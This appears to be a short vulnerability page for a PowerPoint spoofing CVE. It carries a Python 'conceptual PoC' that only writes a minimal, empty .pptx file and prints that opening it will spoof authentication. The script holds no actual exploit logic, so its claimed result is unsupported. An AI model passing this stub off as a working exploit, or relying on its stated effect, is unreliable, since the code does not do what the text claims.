CVE-2026-41102 Microsoft Office PowerPoint本地欺骗漏洞

# Conceptual PoC for CVE-2026-41102 # This script demonstrates how one might structure a malicious PowerPoint file # to bypass access controls and trigger spoofing locally. import zipfile import os def create_malicious_pptx(filename): # Create a basic pptx structure (zipped xml files) with zipfile.ZipFile(filename, 'w') as z: # Minimal content types required for a valid pptx types_xml = '''<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> </Types>''' z.writestr('[Content_Types].xml', types_xml) # Minimal presentation structure # In a real exploit, specific XML tags would be crafted to bypass access checks presentation_xml = '''<p:presentation xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:slideMasterIdLst/> </p:presentation>''' z.writestr('ppt/presentation.xml', presentation_xml) print(f"[*] Created crafted file: {filename}") print("[*] To exploit: Execute/Parse this file locally on the target system.") print("[!] Expected Result: Spoofing of authentication or interface elements.") if __name__ == "__main__": create_malicious_pptx('exploit_cve_2026_41102.pptx')